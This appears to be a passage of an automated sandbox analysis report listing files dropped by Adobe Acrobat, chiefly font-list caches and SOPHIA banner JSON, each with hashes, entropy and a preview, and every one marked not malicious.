Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8176

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3501505522335675
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJM3g98kUwPeUkwRe9:YvXKXcaSp2UTbdMGMbLUkee9
MD5:	C2FB9B93DA272502D4610F696B0BF3B2
SHA1:	0FF1CABA642E033798CF53E630B3A0CF0CC3914B
SHA-256:	82A9015E0C348982432A28C6400F56714E3D5E02B46B4C5B8E61668EC8077E21
SHA-512:	B0BF127E3FB79872BADFDD2CA902F9661806A648FB7F55953C627E160976282B75A0C736B20F6DC21125DD1D47854186279348941CA70452968E36056236E5D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289098708700037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfBoTfXpnrPeUkwRe9:YvXKXcaSp2UTbdMGWTfXcUkee9
MD5:	739151B91CCC3577D74A5A3C4EC3A368
SHA1:	E692114B16E8B899348C5268BD7C7B05A047E3F4
SHA-256:	9433CC1334863675EBAE9C34E67053B1EC3873A5D3F307C3A0BB19F56EE1C105
SHA-512:	D4B8587902AA83C97995B3B1BB4A9898DC02BEFBD76FDFC82651B978F3571536421CE7D66276307853CA687DA86244D9FBAF49F4836EC522D0A8F3E01237A5FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267498027568468
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfBD2G6UpnrPeUkwRe9:YvXKXcaSp2UTbdMGR22cUkee9
MD5:	B8F4A57FDC365BA41F447D2089E4D3EC
SHA1:	146761B2F303F725F49363C3CB785FCBC24FA4CD
SHA-256:	A4F5A6D16F6326A0C0E6419BC077242B3E5F117142D56C3EA3364A61C4C8859B
SHA-512:	E319A991BCAC7E2E87F6B2E7BFA075A17FC7E13D719608F59E0234697F5D8356F31626838CEFF3B7B98571ED92D57118C277253A1DBAE073D1124E8B2AF6BB85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323965653909046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfPmwrPeUkwRe9:YvXKXcaSp2UTbdMGH56Ukee9
MD5:	05C5D5683CD0D239553D8C2AAD13941C
SHA1:	1C526DEAF0D1E9484C83349DB149A2D8EFDF616F
SHA-256:	50938BFBA0F33C087F1E14D5E7D0F1AF9C8A3E33CAAEC25765ED2DFB7BE961D4
SHA-512:	1693CFFCEF5E25DDE31F0645D00EE5D7E925CF0073DA08316C7E60B0924C34E3E8C4522DDC50EFC91AA529850FF3D54C0C8B940D7299354557EB67B5BB2D93F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686288024274739
Encrypted:	false
SSDEEP:	24:Yv6XTs2UXjpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJr:YvSwjhgy6SAFv5Ah8cv/Jr
MD5:	E173EA0299C6A2A75E96F68EBD5EA5CC
SHA1:	F7EE0D0750FC0DD696C4E7778B9973E626CEA7FB
SHA-256:	CBBDD4A14D9557536AB6CABF4EA0C1761F5AE58F94D49DD39993E8C414116DC2
SHA-512:	98890BB79AAF40DA07295F3804FFBCBCB4C2DAD6A07D5D6C8522466F69EC74B9111B2B811D5FF2F7882D1FB45E02A920D7D782AA073F260D6AA410772283E3B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268552633458954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJf8dPeUkwRe9:YvXKXcaSp2UTbdMGU8Ukee9
MD5:	9DAB7347D3A117DE2052572CCFA0F5FD
SHA1:	7DFA92F24717EC1EFF203EFE87CA045A44C1C847
SHA-256:	0AAEEDDF4A2CA4A97694F019229E5E83101C56B5E459746740255585C47E0737
SHA-512:	04CC7F6CF6A5287ABC02A92E6F3148B19932774C3288D167664BDCFAB70E489747A97F3C0505089FE5142BC3D06F5027B1031D467CF689C60CE699E15863962E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272418571156258
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfQ1rPeUkwRe9:YvXKXcaSp2UTbdMGY16Ukee9
MD5:	7D261F5C098590F23BC1EEFB94CE4593
SHA1:	3F3F1CF8A6000247B96D92FC342B0B19636587E2
SHA-256:	28D8635F99C5B963168F002081258644F459925A41F6790D9062E01216355582
SHA-512:	A676709B308FF23D34D7AECC0229AB5CBC294AD6ECC944BFB96D7162FEEB13655A1A373F6B3AAF2D79D92ED39281B581A52EFFC9057A4AD057DBD57C761581A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282859897728674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfFldPeUkwRe9:YvXKXcaSp2UTbdMGz8Ukee9
MD5:	F86236446BBFCB8EC82DDE192908E3AE
SHA1:	9D68C8BD154998CB0DA6FD08EDFBD7DEB590AD87
SHA-256:	304088F81BB9BBA5BD471419615E5409A67E672C3C1E4F1F78D8511AC513B826
SHA-512:	63680522DB1700C7D30103FA9DE7C0A07D33B328741F945990CB41203FFB55621D643A2E2E53BF3859023A38C4EA94667C1F9BA2F51C6A0BB1ED10FEB2282846
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.295156291889204
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfzdPeUkwRe9:YvXKXcaSp2UTbdMGb8Ukee9
MD5:	925DE362F7BD82C540EA7FCE7A3CDAAB
SHA1:	8475E2DDB00649D1BC4F442B50D811BA51C18AB2
SHA-256:	9DFE402D0380CA165E49791A64AFFCA057BBD083D5D88437E1356BA36B2CBD28
SHA-512:	851705417AD7842FD89A4C9E83F530A707306F59E0CCF9ECC3150BDB2500FB725BE42420DB85FB2EF183C537EB1A1235F4A1A441FEA1165DBEE08E937B7D8456
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275574937882906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfYdPeUkwRe9:YvXKXcaSp2UTbdMGg8Ukee9
MD5:	8C47646D2FB9C8632DA1644B182A0867
SHA1:	C2D6224357022F7D4D11FDAB4F8B0AC7F0EF5D97
SHA-256:	60D560D64AA303457B2EDBEBBDB01090A060A01227F015E6E95886C5265DC347
SHA-512:	EFFAB7C95A9E07BD58F33B2B573ADC6520318241BD921264D788E9E0EA8D2875F0E821CA4B90FD2079D87D24B18A72706A872E05178C08E459B6E9DF5D129EFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.260877590473495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJf+dPeUkwRe9:YvXKXcaSp2UTbdMG28Ukee9
MD5:	C5BF0BE2699836D8F76FF0B3F1499219
SHA1:	31CB06E570114E9896B97D55C742B2ECB746FD00
SHA-256:	73180D7361039BFC990BEE555CA28D82426813BF0224FF80E346F4331971BBF5
SHA-512:	692B9C3242DB156713DD3895CDB9DAFCABA06EEC1DE42CEE2F02C4816C13B1F459298FA48CC51A3A8239032439637BBB32DAC066AE299F6D3AFE34B0DCB17B02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259289905399499
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfbPtdPeUkwRe9:YvXKXcaSp2UTbdMGDV8Ukee9
MD5:	947E5CC55375AEC8A81B94881EC8C4B3
SHA1:	894736BC99BDB1A5F6BAF640FC2E5F837F2CBEB9
SHA-256:	BE47A544CEAFDB45CF87880D848F706433C0182E00F4B545D1A2989EA498375D
SHA-512:	D4B94F0922B9F1EAEA3D2E8A88B74AE0EE02EBC0FE070203BC18F91E570FB30161DB35F731074659E5393A45BEC51B08227E7AF1D292C238CA32AEDA560D472B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262629011965176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJf21rPeUkwRe9:YvXKXcaSp2UTbdMG+16Ukee9
MD5:	BE38D1F632802C6FB34075F8CC58D159
SHA1:	D6CDB63313437F5F175E4EF46E56A3E2516F67FB
SHA-256:	4A5A56ABCD7989E9113FF32D77AF7F7310E1C79D244D356F9F3BAD7E73230D23
SHA-512:	40064153480A46B2A27353B15523EC483CE452E8A42B487FC5B994B783B5FE0562087912CEEFAB00DDE5FA376C394DEC1AF6763BB4F9E2230704E99AB3615E58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660640118443454
Encrypted:	false
SSDEEP:	24:Yv6XTs2UXTamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJr:YvSwDBgkDMUJUAh8cvMJr
MD5:	E83586843BEB3A5BD0BE73245E8BBB0A
SHA1:	65721D17774781B723F4A9527740E91596F9AF24
SHA-256:	53E48E1861E65FAF12006B4C0DA63E7FCBAE05923E6A22D11E7CA6C6B8A6A96B
SHA-512:	81FE984C520E59CB08254B3BB19DF4017D0789EF205F4DCE35C825F6A16CA885D534ADE70D468DE11B78DAF33323AEF8405AD6F7E79DB950A3FA733A8370530D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239561960782851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJfshHHrPeUkwRe9:YvXKXcaSp2UTbdMGUUUkee9
MD5:	9572F8C60E6691BECA242D172306E708
SHA1:	CF3D52CF45774FC89B679E1E47B0D8EB8EC63F77
SHA-256:	1A6D5D261A768C283775E4D5B78E5C7BCDECE8F2FC6F24230A5A03D5BB31B0F1
SHA-512:	9EB55712BF66B7A5E9E3D1AA4436758166FAA3E4233C656C15AEEAEE7415EA0BF6718FD7E4F35FAF8C3F01B6CE7491A16F230A5DDE3FE8D48C5311F909F393FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.247785503426254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXcccwSYo2UXjb24kF0Y0boAvJTqgFCrPeUkwRe9:YvXKXcaSp2UTbdMGTq16Ukee9
MD5:	053CB97E0C2288B105EADEC9463D64E3
SHA1:	0325A7E0E1B136908539F5A08EEB38703F6B6FEA
SHA-256:	0FC716D0BB5F51F12DAB24EB3D497A2DB55314F0EE8D2A63CF94613E5BFCC5C7
SHA-512:	642256535AE01214175387734F1385D295DBEA2C570EFDBC6B68B91D75A0F675141A148339B7C90104EDF166B031A48D38D81F6D13CAD1D1F6B7156BCF816D4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4c66728-2298-4b41-a779-a41460f98b1f","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736742383933,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146188426825106
Encrypted:	false
SSDEEP:	48:YEeIfUoD7FyfIKmRDCWo+u3tXDc05ofkL3ysJH79qfBQn:/lUSAfGo+o7NEY
MD5:	296A0BFA6986707D0BB173353A04CF84
SHA1:	81A4824954AD640B9667A0F2DFE8101E8AB43730
SHA-256:	EF771C0AE4B8B376CD557449E0076F49957763FC3E468B262BB2B9943BE556F5
SHA-512:	DF6926FEF0021C4F09BFF6C4584494A814C86322FBBD3BB1576E5E82570B24C4659CEEF42948D4C5389319270EE80A45F70C79DE9F8EE02C4629008EDC69A3A8
Malicious:	false
